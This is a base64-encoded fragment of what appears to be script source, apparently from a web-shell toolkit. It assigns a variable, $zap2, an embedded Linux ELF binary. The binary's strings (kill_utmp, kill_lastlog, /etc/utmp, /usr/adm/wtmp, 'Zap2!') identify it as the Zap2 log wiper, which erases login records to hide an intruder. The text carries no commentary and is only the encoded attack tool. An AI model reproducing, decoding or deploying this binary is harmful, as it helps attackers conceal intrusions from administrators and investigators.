BQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUVDQkFnQUFBQUFwQU1BDQpBR0NDZVlJaEFBQUFBQUFBQUtiZkFBQUFBQUFBb2FVQUFBQUFBQUNCbitEOEFBQUFBRUIrZ1B3QUFBQUFxQU1BQU1HajJxTWdBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUNCL2dBQUFBQUFBRUQrQUFBQUFBQUF0UU1BQU1HajJxTWdBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUNCL2dBQUFBQUFBRUgrQUFBQUFBQUF0Z01BQU0raTVLSWFBT1dpNktKYkFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUNCL2dBQUFBQUFBRUIrb2Y0QUFBQUFVUVVBQUZIYVh0b2dBRi9hYXRveUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFDQjA5amU0UGtBDQpBREYrZ2Y0QUFBQUFBQUFBQUFBQUFBRDRBd0FBQVFBQUFDNEFBQUFCQUFBQUFRQUFBQllBQUFBQ0FBQUFBZ0FBQUFNQUFBQUNBQUFBDQpCQUFBQUJnQUFBQUZBQUFBRFFBQUFBWUFBQUFKQUFBQUJ3QUFBQXdBQUFBSUFBQUFEQUFBQUFrQUFBQU1BQUFBQ2dBQUFBY0FBQUFMDQpBQUFBQ0FBQUFBd0FBQUFXQUFBQURRQUFBQllBQUFBUEFBQUFBZ0FBQUJBQUFBQU5BQUFBRVFBQUFCSUFBQUFTQUFBQUFnQUFBQ0VBDQpBQUFOQUFBQU5RQUFBQUlBQUFCQkFBQUFEUUFBQUVNQUFBQUNBQUFBVUFBQUFCRUFBQUJTQUFBQURRQUFBRk1BQUFBTkFBQUFWd0FBDQpBQllBQUFCWkFBQUFDd0FBQUd3QUFBQU5BQUFBYlFBQUFDQUFBQUJ3QUFBQUhBQUFBSElBQUFBSkFBQUFCZ0FBQUJZQUFBQ0FBQUFBDQpDZ0FBQUlFQUFBQUtBQUFBZ2dBQUFBa0FBQUNEQUFBQUZnQUFBSVFBQUFBTkFBQUFrUUFBQUNrQUFBQ2VBQUFBRFFBQUFLRUFBQUFDDQpBQUFBcEFBQUFBc0FBQUNuQUFBQURRQUFBTGNBQUFBUkFBQUF6Z0FBQUFJQUFBRFhBQUFBQ3dBQUFCZ0hBQUFNQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBDQpBQT09IjsNCg0KDQokemFwMj0iZjBWTVJnRUJBUUFBQUFBQUFBQUFBQUlBQXdBQkFBQUFjSVFFQ0RRQUFBQkVEQUFBQUFBQUFEUUFJQUFIQUNnQUd3QVlBQVlBQUFBMA0KQUFBQU5JQUVDRFNBQkFqZ0FBQUE0QUFBQUFVQUFBQUVBQUFBQXdBQUFCUUJBQUFVZ1FRSUZJRUVDQk1BQUFBVEFBQUFCQUFBQUFFQQ0KQUFBQkFBQUFBQUFBQUFDQUJBZ0FnQVFJb3drQUFLTUpBQUFGQUFBQUFCQUFBQUVBQUFDa0NRQUFwSmtFQ0tTWkJBZ29BUUFBTUFFQQ0KQUFZQUFBQUFFQUFBQWdBQUFMUUpBQUMwbVFRSXRKa0VDTWdBQUFESUFBQUFCZ0FBQUFRQUFBQUVBQUFBS0FFQUFDaUJCQWdvZ1FRSQ0KSUFBQUFDQUFBQUFFQUFBQUJBQUFBRkhsZEdRQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBWUFBQUFFQUFBQUwyeHBZaTlzWkMxcw0KYVc1MWVDNXpieTR5QUFBRUFBQUFFQUFBQUFFQUFBQkhUbFVBQUFBQUFBSUFBQUFDQUFBQUJRQUFBQU1BQUFBT0FBQUFEUUFBQUF3QQ0KQUFBTEFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFBQUFBQUFEQUFBQUJBQUFBQVVBQUFBR0FBQUFBZ0FBQUFrQUFBQUlBQUFBQndBQQ0KQUFvQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUhnQUFBQUFBQUFCOEFBQUFFZ0FBQUdjQUFBQUFBQUFBY1FBQUFCSUFBQUJiQUFBQQ0KQUFBQUFCMEFBQUFTQUFBQUtRQUFBQUFBQUFDc0FBQUFFZ0FBQUVrQUFBQUFBQUFBMVFBQUFCSUFBQUFMQUFBQUFBQUFBQ2tBQUFBUw0KQUFBQUVnQUFBQUFBQUFBOEFBQUFFZ0FBQUdJQUFBQUFBQUFBZkFBQUFCSUFBQUFZQUFBQUFBQUFBREFBQUFBU0FBQUFNUUFBQUFBQQ0KQUFEL0FBQUFFZ0FBQURvQUFBQmdpUVFJQkFBQUFCRUFEZ0FrQUFBQUFBQUFBSHdBQUFBU0FBQUFiUUFBQUFBQUFBQUFBQUFBSUFBQQ0KQUFCc2FXSmpMbk52TGpZQWNISnBiblJtQUd4elpXVnJBR0o2WlhKdkFIZHlhWFJsQUhKbFlXUUFjM1J5Ym1OdGNBQm5aWFJ3ZDI1aA0KYlFCZlNVOWZjM1JrYVc1ZmRYTmxaQUJmWDJ4cFltTmZjM1JoY25SZmJXRnBiZ0J6ZEhKc1pXNEFiM0JsYmdCamJHOXpaUUJmWDJkdA0KYjI1ZmMzUmhjblJmWHdCSFRFbENRMTh5TGpBQUFBQUNBQUlBQWdBQ0FBSUFBZ0FDQUFJQUFnQUNBQUVBQWdBQUFBQUFBUUFCQUFFQQ0KQUFBUUFBQUFBQUFBQUJCcGFRMEFBQUlBZkFBQUFBQUFBQURJbWdRSUJnMEFBSnlhQkFnSEFRQUFvSm9FQ0FjQ0FBQ2ttZ1FJQndNQQ0KQUtpYUJBZ0hCQUFBckpvRUNBY0ZBQUN3bWdRSUJ3WUFBTFNhQkFnSEJ3QUF1Sm9FQ0FjSUFBQzhtZ1FJQndrQUFNQ2FCQWdIQ2dBQQ0KeEpvRUNBY01BQUJWaWVXRDdBam84UUFBQU9oTUFRQUE2RzhGQUFESnd3RC9OWlNhQkFqL0paaWFCQWdBQUFBQS95V2NtZ1FJYUFBQQ0KQUFEcDRQLy8vLzhsb0pvRUNHZ0lBQUFBNmRELy8vLy9KYVNhQkFob0VBQUFBT25BLy8vLy95V29tZ1FJYUJnQUFBRHBzUC8vLy84bA0KckpvRUNHZ2dBQUFBNmFELy8vLy9KYkNhQkFob0tBQUFBT21RLy8vLy95VzBtZ1FJYURBQUFBRHBnUC8vLy84bHVKb0VDR2c0QUFBQQ0KNlhELy8vLy9KYnlhQkFob1FBQUFBT2xnLy8vLy95WEFtZ1FJYUVnQUFBRHBVUC8vLy84bHhKb0VDR2hRQUFBQTZVRC8vLzh4N1Y2Sg0KNFlQazhGQlVVbWpZaUFRSWFKQ0lCQWhSVm1nYWlBUUk2Ry8vLy8vMGtKQlZpZVZUNkFBQUFBQmJnY1B6RlFBQVVJdURPQUFBQUlYQQ0KZEFMLzBJdGQvTW5Ea0pCVmllV0Q3QWlBUGN5YUJBZ0FkU21ockprRUNJc1FoZEowRjRuMmc4QUVvNnlaQkFqLzBxR3NtUVFJaXhDRg0KMG5YcnhnWE1tZ1FJQWNuRGlmWlZpZVdEN0FpaGpKb0VDSVhBZEJtNEFBQUFBSVhBZEJDRDdBeG9qSm9FQ09qbmV2djNnOFFReWNPUQ0Ka0ZXSjVZSHNpQUVBQUlQc0NHb0NhR1NKQkFqbytQNy8vNFBFRUtQUW1nUUlnejNRbWdRSUFBK0lzZ0FBQUlQc0JHaUFBUUFBallWNA0KL3YvL1VQODEwSm9FQ09qNS92Ly9nOFFRaGNCL0F1dCtnK3dNLzNVSTZHWCsvLytEeEJDSndvMkZlUDcvLzRQQUxJUHNCRkwvZFFoUQ0KNkZyKy8vK0R4QkNGd0hXd2crd0lhSUFCQUFDTmhYaisvLzlRNkkvKy8vK0R4QkNEN0FScUFXaUEvdi8vL3pYUW1nUUk2RmYrLy8rRA0KeEJDRDdBUm9nQUVBQUkyRmVQNy8vMUQvTmRDYUJBam8ydjMvLzRQRUVPbGYvLy8vZyt3TS96WFFtZ1FJNk5UOS8vK0R4QkRKdzFXSg0KNVlIc21BRUFBTWVGZFA3Ly93RUFBQUNEN0FocUFtaHVpUVFJNkEzKy8vK0R4QkNqMEpvRUNJTTkwSm9FQ0FBUGlCTUJBQUNEdlhUKw0KLy8vL2RRWHA5QUFBQUlQc0JHb0NpNVYwL3YvL2lkRFI0QUhRd2VBSDk5aFEvelhRbWdRSTZMajkvLytEeEJDRDdBUm9nQUVBQUkyRg0KZVA3Ly8xRC9OZENhQkFqbzIvMy8vNFBFRUlYQWVRekhoWFQrLy8vLy8vLy82NkNEN0F6L2RRam9QZjMvLzRQRUVJbkNqWVY0L3YvLw0KZzhBc2crd0VVdjkxQ0ZEb012My8vNFBFRUlYQWRXaUQ3QWhvZ0FFQUFJMkZlUDcvLzFEb1ovMy8vNFBFRUlQc0JHb0NpNVYwL3YvLw0KaWREUjRBSFF3ZUFIOTloUS96WFFtZ1FJNkNMOS8vK0R4QkNEN0FSb2dBRUFBSTJGZVA3Ly8xRC9OZENhQkFqb3Bmei8vNFBFRU1lRg0KZFA3Ly8vLy8vLy9wQy8vLy80MkZkUDcvLy84QTZmNysvLytEN0F6L05kQ2FCQWpvaVB6Ly80UEVFTW5EVllubGdleElBUUFBZyt3TQ0KLzNVSTZPLzgvLytEeEJDSlJmU0RmZlFBRDRTVUFBQUFnK3dJYWdKb2ZJa0VDT2l3L1AvL2c4UVFvOUNhQkFpRFBkQ2FCQWdBRDRpRA0KQUFBQWcrd0VhZ0NMUmZTTFVBaUowTUhnQXdIUXdlQURBZERCNEFKUS96WFFtZ1FJNkdYOC8vK0R4QkNEN0Fob0pBRUFBSTJGdVA3Lw0KLzFEb2J2ei8vNFBFRUlQc0JHZ2tBUUFBallXNC92Ly9VUDgxMEpvRUNPalIrLy8vZzhRUWcrd00velhRbWdRSTZORDcvLytEeEJEcg0KRTRQc0NQOTFDR2lOaVFRSTZQdjcvLytEeEJESncxV0o1WVBzQ0lQazhMZ0FBQUFBS2NTRGZRZ0NkVXVEN0F5TFJReUR3QVQvTU9nTg0KLy8vL2c4UVFnK3dNaTBVTWc4QUUvekRvcnYzLy80UEVFSVBzREl0RkRJUEFCUDh3NkxyOC8vK0R4QkNEN0F4b2xJa0VDT2lhKy8vLw0KZzhRUTZ4Q0Q3QXhvbTRrRUNPaUkrLy8vZzhRUXljT1FrSkJWaWVWWFZsT0Q3QXpvQUFBQUFGdUJ3L0lSQUFEbzd2ci8vNDJURlAvLw0KLzQyTEZQLy8veW5LTWZiQitnSTUxbk1QaWRlUS81U3pGUC8vLzBZNS9uTDBnOFFNVzE1ZnljTlZpZVZXVStnQUFBQUFXNEhEcmhFQQ0KQUkyTEZQLy8vNDJERlAvLy95bkJ3ZmtDaGNtTmNmOTFDK2c2QUFBQVcxN0p3NG4yLzVTekZQLy8vNG55VG9YU2RmTHI1VldKNVZOUw0Kb1h5YUJBaUQrUCs3ZkpvRUNIUU1nK3NFLzlDTEE0UDQvM1gwV0Z2SncxV0o1VlBvQUFBQUFGdUJ3MGNSQUFCUzZHTDcvLytMWGZ6Sg0Kd3dBREFBQUFBUUFDQUM5bGRHTXZkWFJ0Y0FBdmRYTnlMMkZrYlM5M2RHMXdBQzkxYzNJdllXUnRMMnhoYzNSc2IyY0FKWE02SUQ4Sw0KQUZwaGNESWhDZ0JGY25KdmNpNEtBQUFBQUFBQUFBQUFBSWlhQkFnQUFBQUFBUUFBQUFFQUFBQU1BQUFBbUlNRUNBMEFBQUJBaVFRSQ0KQkFBQUFFaUJCQWdGQUFBQWRJSUVDQVlBQUFDVWdRUUlDZ0FBQUlZQUFBQUxBQUFBRUFBQUFCVUFBQUFBQUFBQUF3QUFBSkNhQkFnQw0KQUFBQVdBQUFBQlFBQUFBUkFBQUFGd0FBQUVDREJBZ1JBQUFBT0lNRUNCSUFBQUFJQUFBQUV3QUFBQWdBQUFEKy8vOXZHSU1FQ1AvLw0KLzI4QkFBQUE4UC8vYi9xQ0JBZ0FBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQQ0KQUFBQUFBRC8vLy8vQUFBQUFQLy8vLzhBQUFBQUFBQUFBTFNaQkFnQUFBQUFBQUFBQU1hREJBaldnd1FJNW9NRUNQYURCQWdHaEFRSQ0KRm9RRUNDYUVCQWcyaEFRSVJvUUVDRmFFQkFobWhBUUlBQUFBQUFCSFEwTTZJQ2hIVGxVcElETXVNeTR6SUNoeVpXeGxZWE5sS1FBQQ0KUjBORE9pQW9SMDVWS1NBekxqTXVNeUFvY21Wc1pXRnpaU2tBQUVkRFF6b2dLRWRPVlNrZ015NHpMak1nS0hKbGJHVmhjMlVwQUFCSA0KUTBNNklDaEhUbFVwSURNdU15NHpJQ2h5Wld4bFlYTmxLUUFBUjBORE9pQW9SMDVWS1NBekxqTXVNeUFvY21Wc1pXRnpaU2tBQUVkRA0KUXpvZ0tFZE9WU2tnTXk0ekxqTWdLSEpsYkdWaGMyVXBBQUF1YzNsdGRHRmlBQzV6ZEhKMFlXSUFMbk5vYzNSeWRHRmlBQzVwYm5SbA0KY25BQUxtNXZkR1V1UVVKSkxYUmhad0F1YUdGemFBQXVaSGx1YzNsdEFDNWtlVzV6ZEhJQUxtZHVkUzUyWlhKemFXOXVBQzVuYm5VdQ0KZG1WeWMybHZibDl5QUM1eVpXd3VaSGx1QUM1eVpXd3VjR3gwQUM1cGJtbDBBQzUwWlhoMEFDNW1hVzVwQUM1eWIyUmhkR0VBTG1SaA0KZEdFQUxtVm9YMlp5WVcxbEFDNWtlVzVoYldsakFDNWpkRzl5Y3dBdVpIUnZjbk1BTG1wamNnQXVaMjkwQUM1aWMzTUFMbU52YlcxbA0KYm5RQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBR3dBQUFBRUFBQUFDQUFBQQ0KRklFRUNCUUJBQUFUQUFBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNNQUFBQUhBQUFBQWdBQUFDaUJCQWdvQVFBQUlBQUFBQUFBQUFBQQ0KQUFBQUJBQUFBQUFBQUFBeEFBQUFCUUFBQUFJQUFBQklnUVFJU0FFQUFFd0FBQUFFQUFBQUFBQUFBQVFBQUFBRUFBQUFOd0FBQUFzQQ0KQUFBQ0FBQUFsSUVFQ0pRQkFBRGdBQUFBQlFBQUFBRUFBQUFFQUFBQUVBQUFBRDhBQUFBREFBQUFBZ0FBQUhTQ0JBaDBBZ0FBaGdBQQ0KQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUJIQUFBQS8vLy9id0lBQUFENmdnUUkrZ0lBQUJ3QUFBQUVBQUFBQUFBQUFBSUFBQUFDQUFBQQ0KVkFBQUFQNy8vMjhDQUFBQUdJTUVDQmdEQUFBZ0FBQUFCUUFBQUFFQUFBQUVBQUFBQUFBQUFHTUFBQUFKQUFBQUFnQUFBRGlEQkFnNA0KQXdBQUNBQUFBQVFBQUFBQUFBQUFCQUFBQUFnQUFBQnNBQUFBQ1FBQUFBSUFBQUJBZ3dRSVFBTUFBRmdBQUFBRUFBQUFDd0FBQUFRQQ0KQUFBSUFBQUFkUUFBQUFFQUFBQUdBQUFBbUlNRUNKZ0RBQUFYQUFBQUFBQUFBQUFBQUFBRUFBQUFBQUFBQUhBQUFBQUJBQUFBQmdBQQ0KQUxDREJBaXdBd0FBd0FBQUFBQUFBQUFBQUFBQUJBQUFBQVFBQUFCN0FBQUFBUUFBQUFZQUFBQndoQVFJY0FRQUFOQUVBQUFBQUFBQQ0KQUFBQUFBUUFBQUFBQUFBQWdRQUFBQUVBQUFBR0FBQUFRSWtFQ0VBSkFBQWJBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBSWNBQUFBQg0KQUFBQUFnQUFBRnlKQkFoY0NRQUFSd0FBQUFBQUFBQUFBQUFBQkFBQUFBQUFBQUNQQUFBQUFRQUFBQU1BQUFDa21RUUlwQWtBQUF3QQ0KQUFBQUFBQUFBQUFBQUFRQUFBQUFBQUFBbFFBQUFBRUFBQUFDQUFBQXNKa0VDTEFKQUFBRUFBQUFBQUFBQUFBQUFBQUVBQUFBQUFBQQ0KQUo4QUFBQUdBQUFBQXdBQUFMU1pCQWkwQ1FBQXlBQUFBQVVBQUFBQUFBQUFCQUFBQUFnQUFBQ29BQUFBQVFBQUFBTUFBQUI4bWdRSQ0KZkFvQUFBZ0FBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFyd0FBQUFFQUFBQURBQUFBaEpvRUNJUUtBQUFJQUFBQUFBQUFBQUFBQUFBRQ0KQUFBQUFBQUFBTFlBQUFBQkFBQUFBd0FBQUl5YUJBaU1DZ0FBQkFBQUFBQUFBQUFBQUFBQUJBQUFBQUFBQUFDN0FBQUFBUUFBQUFNQQ0KQUFDUW1nUUlrQW9BQUR3QUFBQUFBQUFBQUFBQUFBUUFBQUFFQUFBQXdBQUFBQWdBQUFBREFBQUF6Sm9FQ013S0FBQUlBQUFBQUFBQQ0KQUFBQUFBQUVBQUFBQUFBQUFNVUFBQUFCQUFBQUFBQUFBQUFBQUFETUNnQUFxQUFBQUFBQUFBQUFBQUFBQVFBQUFBQUFBQUFSQUFBQQ0KQXdBQUFBQUFBQUFBQUFBQWRBc0FBTTRBQUFBQUFBQUFBQUFBQUFFQUFBQUFBQUFBQVFBQUFBSUFBQUFBQUFBQUFBQUFBSHdRQUFBZw0KQlFBQUdnQUFBQ3NBQUFBRUFBQUFFQUFBQUFrQUFBQURBQUFBQUFBQUFBQUFBQUNjRlFBQTlnSUFBQUFBQUFBQUFBQUFBUUFBQUFBQQ0KQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFCU0JCQWdBQUFBQUF3QUJBQUFBQUFBb2dRUUlBQUFBQUFNQUFnQUFBQUFBU0lFRQ0KQ0FBQUFBQURBQU1BQUFBQUFKU0JCQWdBQUFBQUF3QUVBQUFBQUFCMGdnUUlBQUFBQUFNQUJRQUFBQUFBK29JRUNBQUFBQUFEQUFZQQ0KQUFBQUFCaURCQWdBQUFBQUF3QUhBQUFBQUFBNGd3UUlBQUFBQUFNQUNBQUFBQUFBUUlNRUNBQUFBQUFEQUFrQUFBQUFBSmlEQkFnQQ0KQUFBQUF3QUtBQUFBQUFDd2d3UUlBQUFBQUFNQUN3QUFBQUFBY0lRRUNBQUFBQUFEQUF3QUFBQUFBRUNKQkFnQUFBQUFBd0FOQUFBQQ0KQUFCY2lRUUlBQUFBQUFNQURnQUFBQUFBcEprRUNBQUFBQUFEQUE4QUFBQUFBTENaQkFnQUFBQUFBd0FRQUFBQUFBQzBtUVFJQUFBQQ0KQUFNQUVRQUFBQUFBZkpvRUNBQUFBQUFEQUJJQUFBQUFBSVNhQkFnQUFBQUFBd0FUQUFBQUFBQ01tZ1FJQUFBQUFBTUFGQUFBQUFBQQ0Ka0pvRUNBQUFBQUFEQUJVQUFBQUFBTXlhQkFnQUFBQUFBd0FXQUFBQUFBQUFBQUFBQUFBQUFBTUFGd0FBQUFBQUFBQUFBQUFBQUFBRA0KQUJnQUFBQUFBQUFBQUFBQUFBQUFBd0FaQUFBQUFBQUFBQUFBQUFBQUFBTUFHZ0FCQUFBQWxJUUVDQUFBQUFBQ0FBd0FFUUFBQUFBQQ0KQUFBQUFBQUFCQUR4L3h3QUFBQjhtZ1FJQUFBQUFBRUFFZ0FxQUFBQWhKb0VDQUFBQUFBQkFCTUFPQUFBQUl5YUJBZ0FBQUFBQVFBVQ0KQUVVQUFBQ3NtUVFJQUFBQUFBRUFEd0JKQUFBQXpKb0VDQUVBQUFBQkFCWUFWUUFBQUxpRUJBZ0FBQUFBQWdBTUFHc0FBQUQwaEFRSQ0KQUFBQUFBSUFEQUFSQUFBQUFBQUFBQUFBQUFBRUFQSC9kd0FBQUlDYUJBZ0FBQUFBQVFBU0FJUUFBQUNJbWdRSUFBQUFBQUVBRXdDUg0KQUFBQXNKa0VDQUFBQUFBQkFCQUFud0FBQUl5YUJBZ0FBQUFBQVFBVUFLc0FBQUFjaVFRSUFBQUFBQUlBREFEQkFBQUFBQUFBQUFBQQ0KQUFBRUFQSC95QUFBQUxTWkJBZ0FBQUFBRVFBUkFORUFBQURRbWdRSUJBQUFBQkVBRmdEVEFBQUFBQUFBQUh3QUFBQVNBQUFBNUFBQQ0KQUFBQUFBQnhBQUFBRWdBQUFQVUFBQUJjaVFRSUJBQUFBQkVBRGdEOEFBQUFwSmtFQ0FBQUFBQVFBdkgvRFFFQUFDQ0ZCQWpoQUFBQQ0KRWdBTUFCY0JBQUNvbVFRSUFBQUFBQkVDRHdBa0FRQUEySWdFQ0VRQUFBQVNBQXdBTkFFQUFKaURCQWdBQUFBQUVnQUtBRG9CQUFCdw0KaEFRSUFBQUFBQklBREFCQkFRQUFBQUFBQUIwQUFBQVNBQUFBVXdFQUFBQUFBQUNzQUFBQUVnQUFBR1lCQUFDa21RUUlBQUFBQUJBQw0KOGY5NUFRQUFrSWdFQ0VnQUFBQVNBQXdBaVFFQUFNeWFCQWdBQUFBQUVBRHgvNVVCQUFBYWlBUUljd0FBQUJJQURBQ2FBUUFBQUFBQQ0KQU5VQUFBQVNBQUFBdHdFQUFLU1pCQWdBQUFBQUVBTHgvOGdCQUFDa21RUUlBQUFBQUNBQUR3RFRBUUFBQUFBQUFDa0FBQUFTQUFBQQ0KNVFFQUFFQ0pCQWdBQUFBQUVnQU5BT3NCQUFBQUFBQUFQQUFBQUJJQUFBRDhBUUFBcEprRUNBQUFBQUFRQXZIL0VBSUFBQUFBQUFCOA0KQUFBQUVnQUFBQ0FDQUFBQUFBQUFNQUFBQUJJQUFBQXhBZ0FBQUFBQUFQOEFBQUFTQUFBQVJRSUFBTXlhQkFnQUFBQUFFQUR4LzB3Qw0KQUFDUW1nUUlBQUFBQUJFQUZRQmlBZ0FBMUpvRUNBQUFBQUFRQVBIL1p3SUFBS1NaQkFnQUFBQUFFQUx4LzNvQ0FBQmdpUVFJQkFBQQ0KQUJFQURnQ0pBZ0FBQVlZRUNFd0JBQUFTQUF3QWt3SUFBS1NaQkFnQUFBQUFFQUFQQUtBQ0FBQUFBQUFBQUFBQUFDQUFBQUMwQWdBQQ0KcEprRUNBQUFBQUFRQXZIL3lnSUFBQUFBQUFCOEFBQUFFZ0FBQU5vQ0FBQk5od1FJelFBQUFCSUFEQURuQWdBQUFBQUFBQUFBQUFBZw0KQUFBQUFHTmhiR3hmWjIxdmJsOXpkR0Z5ZEFCamNuUnpkSFZtWmk1akFGOWZRMVJQVWw5TVNWTlVYMThBWDE5RVZFOVNYMHhKVTFSZg0KWHdCZlgwcERVbDlNU1ZOVVgxOEFjQzR3QUdOdmJYQnNaWFJsWkM0eEFGOWZaRzlmWjJ4dlltRnNYMlIwYjNKelgyRjFlQUJtY21GdA0KWlY5a2RXMXRlUUJmWDBOVVQxSmZSVTVFWDE4QVgxOUVWRTlTWDBWT1JGOWZBRjlmUmxKQlRVVmZSVTVFWDE4QVgxOUtRMUpmUlU1RQ0KWDE4QVgxOWtiMTluYkc5aVlXeGZZM1J2Y25OZllYVjRBSHBoY0RJdVl3QmZSRmxPUVUxSlF3Qm1BSGR5YVhSbFFFQkhURWxDUTE4eQ0KTGpBQVkyeHZjMlZBUUVkTVNVSkRYekl1TUFCZlpuQmZhSGNBWDE5bWFXNXBYMkZ5Y21GNVgyVnVaQUJyYVd4c1gzVjBiWEFBWDE5aw0KYzI5ZmFHRnVaR3hsQUY5ZmJHbGlZMTlqYzNWZlptbHVhUUJmYVc1cGRBQmZjM1JoY25RQWMzUnliR1Z1UUVCSFRFbENRMTh5TGpBQQ0KYzNSeWJtTnRjRUJBUjB4SlFrTmZNaTR3QUY5ZlptbHVhVjloY25KaGVWOXpkR0Z5ZEFCZlgyeHBZbU5mWTNOMVgybHVhWFFBWDE5aQ0KYzNOZmMzUmhjblFBYldGcGJnQmZYMnhwWW1OZmMzUmhjblJmYldGcGJrQkFSMHhKUWtOZk1pNHdBRjlmYVc1cGRGOWhjbkpo